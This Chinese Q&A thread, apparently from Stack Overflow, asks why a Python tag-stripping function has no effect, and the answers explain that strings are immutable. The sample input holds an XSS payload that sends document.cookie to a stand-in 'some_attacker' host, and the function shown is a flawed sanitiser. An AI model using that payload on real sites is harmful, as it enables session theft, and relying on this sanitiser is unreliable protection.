为什么功能不起作用?试图替换字符串中的单词

pea*_*ear 2 python string

我试图替换字符串中的一些关键字.这是我的功能:

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input
Run Code Online (Sandbox Code Playgroud)

这是我的其他代码和字符串:

string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"


print '\nstring1 cleaned of code' 
print '------------------------'
print clean_code(string1)
Run Code Online (Sandbox Code Playgroud)

我的输出如下,我不确定为什么没有改变

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
Run Code Online (Sandbox Code Playgroud)

ice*_*ime 8

Python字符串是不可变的:

input = input.replace('<script>', " ")
input = ...
Run Code Online (Sandbox Code Playgroud)

replace文档:

返回字符串str的副本,其中所有出现的substring old都替换为new.


Ste*_*ski 5

Python 中的字符串是不可变的。 input.replace('</a>', " ")不会改变input。您需要将结果分配回input

但实际上你应该使用像BeautifulSoup lxml这样的解析器。